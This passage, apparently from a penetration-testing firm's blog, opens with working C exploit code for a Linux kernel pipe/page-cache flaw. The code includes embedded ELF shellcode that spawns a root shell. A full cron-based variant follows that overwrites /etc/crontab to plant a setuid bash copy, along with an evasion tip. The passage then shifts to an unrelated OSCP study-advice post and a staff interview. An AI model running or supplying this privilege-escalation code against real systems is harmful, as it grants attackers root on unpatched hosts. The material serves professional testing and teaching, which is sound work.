0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05,
0x48, 0x31, 0xff, 0x6a, 0x6a, 0x58, 0x0f, 0x05, 0x48, 0xb8, 0x2f,
0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54, 0x5f,
0x52, 0x5e, 0x6a, 0x3b, 0x58, 0x0f, 0x05
};
u_int8_t *data = elfcode;
const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
long int offset = 0;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], elfcode, sizeof(elfcode));
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < sizeof(data)) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
Cron Job
/etc/crontab is readable. Here we can add a new job that will copy bash to another location. Then we will set the copy with a setuid bit, allowing for execution as root.
The below command sets a job that will copy the bash program to a .bak file and set the sticky bit.
As before, back up the file just in case something happens.
For purposes of evasion, it may be helpful to minimize modifications to the beginning of the file .
Here is the entire line used to write to /etc/crontab:
The space at the beginning is used to line up with the original line. Also, the first “#” will be included from the original file.
Sha1sum again is used to verify the file changes:
All that’s needed now is to run bash -p which will keep the root privileges:
Full Cron Jon Exploit Code:
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
const char* filename = "/etc/crontab";
const char* crontab_line = " /etc/crontab: system-wide crontab\n# Unlike any other crontab you don't have to run the `crontab'\n# command to install the new version when you edit this file\n# and files in /etc/cron.d. These files also have username fields,\n# that none of the other crontabs do.\n\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *\troot\tcp /usr/bin/bash /tmp/bash.bak; chmod u+s /tmp/bash.bak\n#.";
/* open the input file and validate the specified offset */
const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
long int offset = 0;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], crontab_line, strlen(crontab_line));
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < strlen(crontab_line)) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
Note that a fresh install of Debian 11 was used to create these proof-of-concept attacks. It was necessary to boot using an old kernel since the new kernel was already patched against the vulnerability. This was done by selecting the advance boot options with grub and selecting the old kernel version 5.10.0-10-amd64.
REMINDER: This blog post and associated code provided are intended for use only by qualified professionals with written permission to test networks for vulnerabilities. To perform these operations without authorization is illegal.
I’m Andrew Trexler, senior penetration tester at Raxis. As the Raxis team member to earn the Offensive Security Certified Professional (OSCP) designation most recently, I’m sharing my thoughts about the experience. My goals are to provide you with information I found helpful as well as to share some things I wish I had known in advance.
Why take the OSCP?
If you’re serious about being a penetration tester, the OSCP is, for all intents and purposes, the industry standard. As I considered pentesting as a career, I spoke with lots of people who were working in the field already. Consistently, they recommended getting the certificate, which requires taking the Penetration Testing with Kali Linux (PWK) course. I also watched a great YouTube video by John Hammond in which he recommended it.
In truth, the course is useful for any career in cybersecurity, not just pentesting. If you’re working on a blue team, for example, the experience of hacking into a network provides a lot of valuable insights for developing a cyber defense strategy.
Where to Start
As I mentioned, you start officially with the PWK course. Going through it is helpful, and you really do learn a lot. The course includes a manual along with a lab environment. It is self-paced, so you go through it on your own time and schedule the test when you’re ready to take it.
However, there are some things I recommend doing beforehand. If you are new to the pentesting/cybersecurity field I would start with some capture-the-flag (CTF) exercises like those found here. After getting comfortable with CTFs, you might find it helpful to move on to sites like Hack the Box or TryHackMe. Doing these first will help you hit the ground and get running a little faster in the lab environment.
How to Make the Most of Your Coursework
Take lots of notes. While going through the lab, you’ll do many different things – and you’ll do the same things multiple times. Keeping notes on how you got access to each machine during the lab work (yes, with copy/paste commands and explanations) will help during the test. Your notes can give you ideas and help you remember difficult syntax. Also, notes that act as cheat sheets with common commands are especially helpful. (I use Obsidian to take notes in Markdown.)
Further, I recommend spending as much time in the lab as possible. While there is a forum for users, it may sound like the people there are speaking in code. If you struggle, just keep working the problem and learning. If you do get stuck, ask questions in the forum. From my experience everyone is helpful, but they know it’s more important to guide you to an answer than give it to you. Those who answer usually do it in a way that makes you learn the solution on your own, and you’ll thank them for that when you are taking the OSCP exam.
About the Lab
The lab houses more than 70 different computers. Most of these computers contain vulnerable software that can be exploited – and some don’t. The idea is to exploit a vulnerable machine, grab any information it’s storing, and then use it to access a machine that does not have a vulnerability.
Among the vulnerabilities you’ll see in the lab are ones that are well-known and that have been around for years. EternalBlue is one example. Then, there are smaller applications that still have known vulnerabilities, but require a little searching to find the right exploit.
The real challenges are the custom applications that either can be used to gain access or have their own vulnerabilities that require custom exploitation, using anything from XSS to SQLi to LFI/RFI. There are also remote and local exploits to gain access and then escalate privileges.
See a term you don’t recognize? Visit our glossary.
To me, the most interesting part of the lab is the subnet structure. There are different subnets that require access to an initial computer, at which point you can pivot and pass traffic through that computer. This proxying traffic can be the only way to hit and exploit the other machines on the subnet.
How the Test Works
There are five different machines on the test. On each are text files that can be submitted to prove your access. Depending on the difficulty of the machine, these files are worth varying numbers of points. Of 100 available points, you’ll need 70 to pass the exam.
However, to get credit for those points, you have 24 hours to write a report that includes the steps you took to exploit the machine. These must be replicable by a technically competent reader and must contain either the link to the exploit code used or the exploit code if changes were made to it.
During the exam, you are not allowed to use automated exploit tools. Metasploit can only be used once during the test, whether it works or not. Other exploits must be created manually by inputting the correct data or scripts, which may require some trial and error.
What to do Before the Exam
It sounds counterintuitive, but I don’t recommend studying or practicing right up until test time. Instead, try to take the day before the exam to prepare for how you’re going to take it. The exam must be completed in 24 hours, but you can pick an early or late start time. If you’re an early riser, start early. If you like to sleep in, start later. The point is to make sure that you play to your own strengths.
Use your prep to do other helpful things as well. Maybe make sandwiches for the next day or set up the computer you are going to use to take the test. Figuring out things that you can do the day before can and will make things easier come test day.
What to do on Exam Day
The hardest part of the exam is the time management. The attacks to gain access are straightforward once you find them. However, you might have to change things up to get the exploit to work.
Be sure to watch out for rabbit holes. There aren’t many, but being able to recognize them and get out of them quickly is a critical skill. Part of what they are testing is how quickly you figure out when you’re on the wrong path . . . or if you just haven’t gone far enough down the right one.
Also keeping things fresh and not getting frustrated is key. That’s why it’s important to take your time, despite the deadline. I felt pressured by the 24-hour time limit, but it helped a lot to take a five-minute break about once each hour. Walking away from the computer and just re-setting a little bit can bring the burst of inspiration that helps you get to the next step.
Incidentally, time management is a skill that’s even more essential in your career as a pentester. There’s only a certain amount of time allotted for testing, so you can’t get sidetracked chasing dead ends.
Final Thoughts
Remember that this is a professional certification, and many people don’t pass it on their first try. Let that take some of the pressure off. If you don’t pass this time, you always have next time.
And, yes, it’s very hard. But that’s a good thing. If it were easy, everyone could do it and that would rob you of the satisfaction and respect that comes with earning your OSCP.
I’m Andrew Trexler, senior penetration tester and one of the newest members of the Raxis team. Recently, I spoke with our marketing specialist about how I got interested in penetration testing and what led me to Raxis. Take a look at our careers page — Raxis is always interested in speaking with qualified pentesters who may fit well with our team. So, visit the page and subscribe to our YouTube channel.
Jim: Andrew, you started at Raxis recently, but you’ve been involved in information security for a while now, right?
Andrew: Yes, I graduated from Pitt in three-and-a-half years. After I finished, I really wanted to focus my attention on cybersecurity, and I became obsessed with pen testing.
Jim: From what I’ve heard, you earned a couple of high-end certifications as well.
Andrew: I had my bachelor’s degree in Information Science, but, in the penetration testing field, certifications are just as important, if not more so. While I was looking for a job, I earned the Offensive Security Certified Professional (OSCP) and the eLearning Junior Penetration Tester (eJPT) certifications.
Jim: Other Raxis team members have told me the OSCP is a very difficult cert to get. Was that your experience?
Andrew: It took a lot of work over a long period of time. I only had a month of lab time, but I began studying for it five months before that. For the final exam, I had 24 hours to hack into five computers.
Jim: That sounds painful.
Andrew: The test was hard, but I really enjoyed the labs. My favorite was hacking into one computer, finding nothing on it, then figuring out how to use that computer to hack into others that did house the data I was after.
Jim: What spurred your interest in technology initially?
Andrew: I’ve always enjoyed computers. They’ve always just made sense to me, and so, in high school, I took all the computer classes that were available. Majoring in information science at Pitt was a natural next step. That’s where I got interested in network security and figured out that hacking and breaking into things is just plain fun.
Jim: How did you find out about Raxis?
Andrew: I was just looking around on the internet and came across the website. I interviewed with several companies, but Raxis really stood out.
Jim: How so?
Andrew: For one thing, (chief operating officer) Bonnie Smyre really went out of her way on multiple occasions to make sure my questions were answered and to encourage me to take the job. The people I spoke with all seemed to enjoy what they do. It really felt like a happy family and it still does.
Jim: You’ve said that hacking and breaking into things is fun, but I understand you’re also an expert at blowing things up.
Andrew: I guess you could say that. On occasion, I get to be a pyrotechnics artist, putting on fireworks shows.
Jim: I’m tempted to say, “That must be a blast,” but I’m sure you’ve heard that one before.
Andrew: Ah, yeah, a few times.
Jim: In all seriousness, it seems like that would be very exciting or terrifying, depending on your perspective. How did you get into that?
Andrew: It started out as a one-time thing, helping my cousin put on a show. Next thing I know, I’m a trained technician.
Jim: Where do you put on your shows?
Andrew: My hometown is here in Monroeville, Pennsylvania, just outside Pittsburgh. We do shows here and as far away as Altoona. Mostly for the minor league baseball games.
Jim: Isn’t that a dangerous occupation?
Andrew: We take a lot of precautions, so we keep our operations very safe. It takes us anywhere from an hour to three hours to set up for what, sometimes, is a 15-minute show. Also, our mistakes tend to be blown up or burned up.
Jim: You don’t make many, I’m guessing.
Andrew: Ha! None that you know about.
Jim: It seems like fireworks would be computer-controlled nowadays? Is there a high-tech component to that work?
Andrew: Some of the bigger shows use electronic controls, but, for the most part, ours are just old-fashioned fuse-lit fireworks.
“Even the most senior people at Raxis will stop what they’re doing and help you out when you need it. On top of that, these are fun people to work with who are really, really smart.”
Andrew Trexler
Jim: It’s hard to compare with the excitement of a fireworks show, but you obviously enjoy your work with Raxis. What’s your favorite part so far?
Andrew: What I’ve enjoyed most so far is being able to ask questions of my teammates and answer theirs when I can. The culture is one in which everyone is here for everyone else. Even the most senior people at Raxis will stop what they’re doing and help you out when you need it. On top of that, these are fun people to work with who are really, really smart.